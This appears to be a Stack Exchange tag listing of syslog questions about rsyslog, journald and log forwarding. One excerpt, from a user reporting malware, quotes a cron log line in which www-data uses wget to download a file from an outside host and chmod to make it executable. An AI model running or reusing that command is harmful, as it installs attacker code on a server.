Questions tagged [syslog]
syslog is a standard (RFC 5424) for message logging. Use this tag for syslog logging related messages. For generic logging messages use [logging] instead
421
questions
2
votes
1
answer
40
views
Log particular systemd service logs only to syslog bypasing journald
For a while looking for a solution that with systemd tools will give me an opportunity to bypass the journal and log directly to syslog. Potentially that can be also filtered, but only on journal not ...
- 23
0
votes
2
answers
44
views
How is syslog entangled with journald?
I set up my journald to limit the log size to 5GB in /etc/systemd/journald.conf
and thought everything was fine. Then, yesterday, I realized that my /var/log/syslog file is in fact 12GB big.
What I ...
- 238
0
votes
0
answers
27
views
RHEL 7 kernel log missing?
Recently I'm handling a RHEL server crash event via searching clues from logs.
The information of this host from "cat /etc/os-release" is shown below:
NAME="CentOS Linux"
VERSION=&...
- 33
1
vote
1
answer
27
views
Avoid duplicating syslog messages into /var/log/messages and /var/log/syslog
I'm using the following rsyslog configuration file to redirect logs of a program to a specific file.
# Name of the program
set $.program_name = "myapp";
# Path to the log file
set $....
- 1,116
0
votes
1
answer
29
views
found php malware detected on syslog
I have a malware which run every minute, i can see it from /var/log/syslog
Feb 1 18:30:01 MENCH CRON[1768]: (www-data) CMD (wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd &...
0
votes
2
answers
30
views
Log forwarding in partially disconnected client
Considering the following architecture:
I have a laptop connected to a server over ethernet.
This laptop is configured to send log events with rsyslog on the server, the server is configured to accept ...
- 145
0
votes
1
answer
40
views
Configuring AIX auditing for rmdir and syslog collection
How can the auditing feature in an AIX Unix system be configured to collect information about the removal of a directory (though rmdir) and send it to syslog?
- 1
0
votes
0
answers
19
views
Is there a way to not log specific syslog messages?
For example I have the following:
pam_unix(sudo:session): session opened for user root(uid=0) by (uid=997)
pam_unix(sudo:session): session closed for user root
pam_unix(cron:session): session closed ...
- 1,712
1
vote
1
answer
17
views
Journald and Sources of Log Messages
I would like to know what process is meant to write Timestapms (and other parts of Log messages) in Syslog protocol.
In other words, is it Syslog that sets timestamp of log message (exact time of ...
0
votes
0
answers
33
views
klogd, dmesg and syslog(2)
I got quite confused reading manual pages of klogd, dmesg and syslog(2). I would like to understand how the message produced by the kernel gets to /var/log/file.
First thing I would like to get to ...
2
votes
1
answer
143
views
Why my application logs aren't processed correctly by syslog?
I have a question about a syslog application. I wrote a simple program using syslog API.
I compiled and launched the program. It works, I can see logs on the journal.
However, when I reconfigured ...
- 29
1
vote
2
answers
177
views
How to setup syslog forwarding for systemd journal namespace
I have a configuration /etc/systemd/journald@my-namespace.conf which contains the setting ForwardToSyslog=yes and a systemd service unit configured with LogNamespace=my-namespace.
The documentation ...
- 41
0
votes
0
answers
11
views
rsyslog option no parsing [duplicate]
I am trying to forward test.log to syslog, and rsyslog is adding timestamps to the log. What template can I use to exclude that and send only raw messages?
Raw log example:
Dec 13 14:53:58 ops-control ...
0
votes
1
answer
78
views
what's the meaning of ^@ in syslog
One physical machine had shutdown unexpected, there is no any error log about that, only get a large ^@ in one line of /var/log/syslog file such as:
Dec 9 21:50:02 hostname CRON[74324]: (root) MAIL (...
- 105
0
votes
1
answer
114
views
Issue with uniqueness of the persist names in syslog-ng
I am new to syslog-ng and was trying to fix the issue of an error which arises due to uniqueness of the persist names in syslog-ng,
I see the below error in my syslog
err Error checking the ...
- 103
2
votes
1
answer
429
views
How can I use journalctl to time-filter and view non-journal files?
I'm trying to search through dozens of logfiles that were not sent to systemd-journald, and would like to filter the results by time, the way journalctl's -S (since) and -U (until) do.
Option 1: ...
- 131
0
votes
2
answers
72
views
Last logins during last hour
OK, so basically I'm trying to give a specific date and time and I want to see all the logins that were made during the hour range, e.g. last hour or two last hours from the time and date given. I ...
- 1
1
vote
1
answer
33
views
Ask syslog which log files it uses for which facilities
Regarding the manpage of syslog there are different facilities (e.g. USER). Depending on that facility log messages going into different log files (e.g. /var/log/syslog, /var/log/messages, ...).
I ...
- 688
1
vote
1
answer
33
views
How to differentiate scripts from humans when they do password-based ssh to my server?
How do I detect if a particular ssh login was made by running a script or was it a user who typed password?
I want to detect script based logins. 'auth.log' doesn't give me this info. Is there any ...
- 11
0
votes
1
answer
65
views
Finding the PORT NUMBER of the process using a specific PID?
I have a specific PID and my question is how can I know which port belongs to that PID.
Any tips on how to know the port of a service that has a specific PID?
Thanks a lot.
- 1
2
votes
0
answers
164
views
/dev/log: Connection refused after boot, but only on one system
I have two systems running NVIDIA jetpack 5.0.2, based on Ubuntu 20.04. /etc and /boot are identical on both systems. On the first system, after boot, if I try to run logger I get an error /dev/log: ...
- 211
1
vote
0
answers
77
views
Any way to change rsyslog configuration per user (for cron)?
I am a user without sudo on a CentOS 7 system running rsyslog. I would like to log my cronjobs. Ideally, rsyslog would log all my user's cron activity to somewhere like ~/log/cron.
There are good ...
- 443
1
vote
1
answer
147
views
rsyslog config does not write to file
I just installed rsyslog on rhel8. So the /etc/rsyslog.conf file is stock. Here's my custom config:
/etc/rsyslog.d/10-remote.conf
module(load="imudp")
ruleset(name="remote_udp"){
...
1
vote
1
answer
317
views
Linux C | How can we redirect printf to syslog?
We are using printf till now and the output was coming to stdio. Now we want to remove it from stdio and put in syslog.
I have a big code base and so replacing all the printf will not be a good ...
- 11
0
votes
0
answers
172
views
Syslog is overwriting logfile after 200k size
I am running Linux on a TI-J7 embedded board. It is using syslogd from busybox. But the issue I am facing with syslog is it overwrites logfile when it exceeds 200kb size and so not able to collect ...
0
votes
0
answers
101
views
See number of logs in /var/log?
Basically, I'm trying to figure out how many logs entries are being generated by my software each day (AlienVault OSSIM, if it helps to know). Is there some command I can use to see how many logs ...
- 13
0
votes
0
answers
283
views
How to open a TTY session during startup and begin logging
Struggling to write a script that will open a TTY session during startup or shortly and continuously log.
Context:
I have an on small PC that is being deployed as an on prem syslog server running ...
0
votes
1
answer
97
views
Forwarding historic (old) syslog to syslog server
We can forward syslogs to syslog server by making the below entry in syslog.conf/rsyslog.conf
*.*<space/tab>@<syslog_server_name>:<port_no>
However, this only sends new syslogs, ...
- 3
2
votes
1
answer
145
views
Generating fake old log messages e.g. six months old ( fake timestamp ) for syslog RFC5424
Good day;
I need to test my log management stack's database query performance and in order to do so, I need to generate bulks of log messages that seem to be six months old and send them to rsyslogd.
...
- 107
2
votes
1
answer
498
views
Can a single unix domain socket connect to multiple peers simultaneously?
Since this is the socket that syslog's /dev/log is symlinked to, I expect there is at least one listening socket from systemd-journald, and possibly some additional connected ones, with different &...
- 505
0
votes
1
answer
19
views
Excessive syslog messages
I am getting a huge amount of log messages in /var/log/syslog all of the sudden (5GB/day). I think it has to do with my recent adoption of cgroups but I'm not sure.
Here is what I see:
Jun 29 06:25:...
- 121
0
votes
0
answers
134
views
Multiple Cron processes listed in Tasks State after an OOM killer run in EC2
An EC2 instance running Ubuntu 22.04 crashed during the night. When looking into the syslogs I found that there were multiple out of memory errors listed - normally the instance is running at 25% ...
0
votes
1
answer
176
views
Custom path for syslog socket
I am trying to use a custom path for syslogd socket by using -p option as below
syslogd -p /tmp/my_path
Even though I see the socket file is getting created correctly, the logging is not happening to ...
- 1
0
votes
2
answers
442
views
How to redirect stdout and stderr to rsyslog permamently in Linux
I use an embedded Linux build in Yocto. I would like none of the applications running on the system to display information in the console. I would like to redirect these logs to syslog, or eventually, ...
- 19
3
votes
1
answer
759
views
Add syslogd as service on Alpine on Docker container
I have a program which needs syslog to run to correctly work. I am working in an Alpine container with version 3.16.0. As I'm getting multiple errors from the program (weewx), I understood that syslog ...
- 31
0
votes
0
answers
20
views
Output all warnings in all logs
I want to get an email notification of all warnings (and higher) on my system, so I do:
@hourly journalctl --since="1 hour ago" --priority=warning --quiet
Does this command includes also ...
- 121
0
votes
1
answer
369
views
How to check which user has changed their or other user's password?
How can I capture (if there is a log file somewhere) when a user changes their password or another user's password?
I see this log but I can't determine whom change password for user XXXX
Mar 31 12:41:...
- 3
0
votes
2
answers
3k
views
Best way to run child process in C++ if you want to get output of the called command
I am writing an application in C++. In many places in my code I use system() function to run some commands. I am not sure this is an elegant solution and I would like to replace using this function by ...
- 19
0
votes
1
answer
270
views
Syslog console and file
I want to log everything to syslog in my application. I will be logging mostly at two levels. Info and debug. Debug messages I do not want end users to be able to see or access. As such these messages ...
- 113
0
votes
1
answer
114
views
Where are docker events stored? Can they be redirected to syslog server?
I have a server with docker running. I can use the command docker events to monitor events as they occur. But I can also use the command option --since <timestamp> to list previously occured ...
- 209
0
votes
1
answer
334
views
Bind error logging syslog
Im have this strange behaviour where my bind server is just forwarding info and notice errors to my remote syslog server.
Current configuration on the named.conf file is:
logging {
channel syslog
...
- 25
0
votes
0
answers
780
views
Send audit log to syslog server as independent stream
I have a system which is currently set up via rsyslogd to send /var/log/messages to a syslog server. I also want to send the logs contained in /var/log/audit/audit.log to the same server.
One of the ...
- 653
1
vote
1
answer
553
views
Can I reliably determine if the last reboot was due to a kernel panic
I have an embedded Linux system which I would like to reboot automatically in case it encounters a Kernel Panic. However, is there a way I can reliably determine on boot-time whether the last reboot ...
- 99
0
votes
0
answers
22
views
linux joournalctl read specified input file and not the local syslog
I know this is a long shot. Im missing something from the man pages I can find.
I've setup remote event /system logging to a log server (syslog-ng). That works fine.
It has its own log dir and each ...
- 11
0
votes
0
answers
35
views
rsyslog: discriminate between boots with new files or break line
I've got a system that uses rsyslog for logging. Some of the messages being logged I want to store on the device (error messages) so that if something has gone wrong I can review them later. All works ...
- 1
0
votes
0
answers
110
views
Syslog entries getting out of sequence
I have an embedded Linux installation completely self-cross-compiled using Yocto Poky.
Beside the many system services I also have a completely custom application running as headless daemon.
...
- 790
0
votes
1
answer
155
views
How does this command with which to "refresh the syslog process" work?
On http://www.cs.newpaltz.edu/~easwaran/Resources/commands.html the following command is listed as being meant to "Refresh the syslog process":
kill -1 `cat /var/run/syslogd.pid`
I have ...
- 5,813
0
votes
0
answers
110
views
Bash command to select only specific actions from log files
Hello there I have the following example for a log file below:
Mon, 22 Mar 2020 13:15:39 +0200|185.34.66.225|user_1| - |user logged in| -
Mon, 22 Mar 2020 13:15:39 +0200|185.34.66.225|user_1| - |user ...
- 1
7
votes
2
answers
3k
views
syslog message at boot: uninitialized urandom read
CPU is AMD GX-412TC SOC:
GX-412TC GE412TIYJ44JB 4 6W 2MB 1.0GHz/
1.4GHz N/A N/A DDR-1333 0-90°C
which does not have rdrand:
grep rdrand /proc/cpuinfo
# nothing
I see following messages in my syslog ...
- 229
0
votes
0
answers
117
views
What could have caused automount to try to mount this nonexistent directory?
In /var/log/messages I found entries like this
Oct 18 2:10:15 linux automount[946]: attempting to mount entry /home/randomusername
Oct 18 2:10:15 linux automount[946]: key "randomusername" ...
- 21